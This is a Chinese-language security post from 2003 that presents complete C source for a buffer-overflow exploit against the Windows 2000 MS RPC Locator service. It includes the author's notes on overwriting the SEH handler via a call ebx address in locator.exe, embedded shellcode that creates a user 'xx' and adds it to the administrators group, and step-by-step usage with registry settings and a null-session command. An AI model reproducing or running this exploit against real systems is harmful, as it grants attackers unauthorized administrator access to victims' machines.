MS RPC LOCATOR Service Exploit for win2k(new version)
创建时间:2003-04-07
文章属性:原创
文章提交: eyas (ey4s_at_21cn.com)
/*------------------------------------------------------------------------------------
Created at: 2003-04-05
Last updated: 2003-04-07
前几天在packetstorm下载rpcexp.c试了试,没成功,但locator服务却当掉了。于是便想看看到底怎么
回事。后来找到点资料,原来是个stack溢出,问题出在wcscpy函数。跟踪了一下,函数调用关系是
这样的:
locator!Locator::nsi_binding_lookup_begin:
|__locator!Locator::nsi_binding_lookup_begin_name:
|__locator!CRemoteLookupHandle::finished:
|__locator!CBroadcastLookupHandle::initialize:
|__locator!getBroadcastResults
|__locator!formQueryPacket
|__wcscpy <-- buff overflow
getBroadcastResults函数的返回地址在buff+0x514处,经测试,win2k中文、英文 sp0-3版本的
溢出点都一样。但是如果覆盖getBroadcastResults函数的返回地址,在locator!formQueryPacket
后面的代码运行会出现0xC0000005错误,这样的话,那就只好覆盖SEH了。Exception Handler地址
存放在buff+0x504处,中英文sp0-3版本都一样。Marcin Wolak写的rpcexp.c 的jmpaddr为0x0090F8F0,
我估计这个地址是他自己在测试的时候,shellcode存放的地址,他在SEH处直接跳到shellcode去了,
因为我在测试的时候,wcscpy将我们的buff copy到0x009xxxxx附近,当然, 这在不同平台上测试的
时候会有所不同,甚至相差很大。仅仅是猜测而已,因为我初学这个,看不懂他的代码:(。
改写后的SEH显然在这里指向jmp esp是不行了,后来跟踪的时候发现, 当Exception发生后,
Windows系统正准备处理Exception的一刹那间,寄存器ebx正好指向当前存放Exception Handler地址的
地址-4,即是说假如Exception Handler地址存放在0x0098F8EC,那么EBX值就为0x0098F8E8。这样的话,
改写Exception Handler地址为call ebx的地址就可以执行我们的shellcode了。后来回过头来看莫大
的文章时,才看到在他文章里面这个已经写的比较详细了,我看资料太不认真了:(。不过莫大没有说
原理,所以到底为什么会这样,我也不知道。
call ebx的地址在不同平台上并不通用,后来看了一下各平台上的locator.exe版本,发现sp0、sp1
中版本为都为5.0.2195.1,sp2版本为5.0.2195.2505,sp3版本为5.0.2195.3761,打过补丁后的版本
为5.0.2195.6136。locator.exe版本改动较少,于是便决定用locator.exe里面的call ebx地址,kernel32
这些dll,几乎每个hotfixs都要更新,用里面的call ebx地址就很不通用了。
搜索的时候发现sp1、sp2中call ebx地址相同的有10个,sp1和sp3中有一个相同地址,sp2和sp3
无相同地址。但是也发现一个很好玩的地方,例如sp1中在0x0100a8eb有call ebx,那么sp3中在0x0100a8ec
也有个call ebx,嘿嘿。。
经过比较,jmp addr我决定用0x0100AEE5,在sp0、sp1、sp2中,
0:004> u 0x0100AEE5
0100aee5 ffd3 call ebx
在sp3中,
0:004> u 0x0100AEE5
0100aee5 40 inc eax
0100aee6 ffd3 call ebx
我们发送的buff结构如下:
|rpc_head_info?(8)|NOP(0x4F8)|jmp 0xA(2)|NOP(2)|call ebx addr(4)|NOP(4)|shellcode|
shellcode没什么特殊要求,只要没有"/x00/x00"就可以了,不然会被wcscpy截短。
shellcode代码大部分直接来自莫大的文章,感谢他,感谢莫大、backend、ipxodi等精彩的
关于windows平台缓冲区溢出的文章。
-------------------------------------------------------------------------------------*/
#define UNICODE
#define RPC_UNICODE_SUPPORTED
#include <stdio.h>
#include <rpc.h>
#include <rpcnsi.h>
#pragma comment(lib, "rpcns4.lib")
//SEH Handler地址偏移,win2k所有版本溢出点都一样
#define sehoffset 0x504
//call ebx addr in locator.exe process
/*
sp0 sp1 sp2
0:004> u 0x0100AEE5
0100aee5 ffd3 call ebx
sp3
0:004> u 0x0100AEE5
0100aee5 40 inc eax
0100aee6 ffd3 call ebx
*/
#define JMPADDR "/xE5/xAE/x00/x01"
#define JMPOVER "/xEB/x0A/x90/x90"//jmp 0xa
//hey,guy,you should modify this code slightly by yourself.
char shellcode [] =
"/x55/x8B/xEC/xEB/x64/x5A/xB8/x04"
"/x00/xF1/x77/x81/x38/x4D/x5A/x90"
"/x00/x74/x03/x48/xEB/xF5/x8B/xD8"
"/x8B/x73/x3C/x03/xF3/x8B/x76/x78"
"/x03/xF3/x8B/x7E/x20/x03/xFB/x8B"
"/x4E/x14/x33/xED/x56/x57/x51/x8B"
"/x3F/x03/xFB/x8B/xF2/x33/xC9/x83"
"/xC1/x0E/xF3/xA6/x74/x08/x59/x5F"
"/x83/xC7/x04/x45/xE2/xE7/x59/x5F"
"/x5E/x8B/xCD/x8B/x46/x24/x03/xC3"
"/xD1/xE1/x03/xC1/x33/xC9/x66/x8B"
"/x08/x8B/x46/x1C/x03/xC3/xC1/xE1"
"/x02/x03/xC1/x8B/x00/x03/xC3/xEB"
"/x02/xEB/x37/x8B/xFA/x8B/xF2/x89"
"/x06/x83/xC7/x0F/x57/x53/xFF/xD0"
"/x83/xC6/x04/x89/x06/x83/xC7/x08"
"/x57/x53/x8B/x46/xFC/xFF/xD0/x83"
"/xC6/x04/x89/x06/x33/xC0/x50/x83"
"/xC7/x06/x57/x8B/x46/xFC/xFF/xD0"
"/xB8/xFF/xFF/xFF/xFF/x50/x8B/x06"
"/xFF/xD0/xE8/x5E/xFF/xFF/xFF"
"getprocaddress""/x0"
"winexec""/x0"
"sleep""/x0"
"cmd /c net.exe user xx 1a!.9nH /add && net localgroup administrators xx /add";
DWORD WINAPI func(LPVOID lp)
{
unsigned char buff[4000];
unsigned short * pszStrBinding = NULL;
RPC_NS_HANDLE hnsHandle;
unsigned long NsSntxType = RPC_C_NS_SYNTAX_DEFAULT;
RPC_STATUS status;
unsigned long i;
//填充buff
buff[0] = '/';
buff[1] = 0;
buff[2] = '.';
buff[3] = 0;
buff[4] = ':';
buff[5] = 0;
buff[6] = '/';
buff[7] = 0;
for (i=8;i<sehoffset-4;i++)
{
buff[i] = '/x90';
}
strcpy(&buff[i], JMPOVER);
//jmpaddr可能包含有0
memcpy(&buff[i+4], JMPADDR, 4);
strcpy(&buff[i+8], "/x90/x90/x90/x90");
memcpy(&buff[i+12], shellcode, sizeof(shellcode));
RpcTryExcept
{
status = RpcNsBindingLookupBegin(NsSntxType,
(unsigned short *) buff,
0,
NULL,
0,
&hnsHandle);
printf("RpcNsBindingLookupBegin returned 0x%x/n", status);
}
RpcExcept(1)
{
printf("RPC Runtime raised exception 0x%x/n", RpcExceptionCode());
}
RpcEndExcept
return 0;
}
void usage()
{
printf( "/nxLocator -- MS RPC LOCATOR Service Exploit for win2k_en_cn_sp0-3/n"
"Author: cooleyas@21cn.com 2003-04-07/n"
"Based on Marcin Wolak/'s rpcexp.c/n/n"
"usage:/n"
"1.Set registry values in Your workstation as below:/n"
" HKLM//SOFTWARE//Microsoft//Rpc//NameService//NetworkAddress = targetIP/n"
" HKLM//SOFTWARE//Microsoft//Rpc//NameService//ServerNetworkAddress = targetIP/n"
"2.Establish null session: net use targetIP//ipc$ /"/"/u: /"/"/n"
"3.Run Exploit: xLocator/n"
" if success,target will add a user /"xx/" passwd is /"1a!.9nH/"./n");
}
void _CRTAPI1 main(int argc, char **argv)
{
if(argc!=1)
{
usage();
exit(0);
}
CreateThread(NULL, 0, func, NULL, 0, NULL);
Sleep(4000);
printf("Done./n");
} /*End of Main*/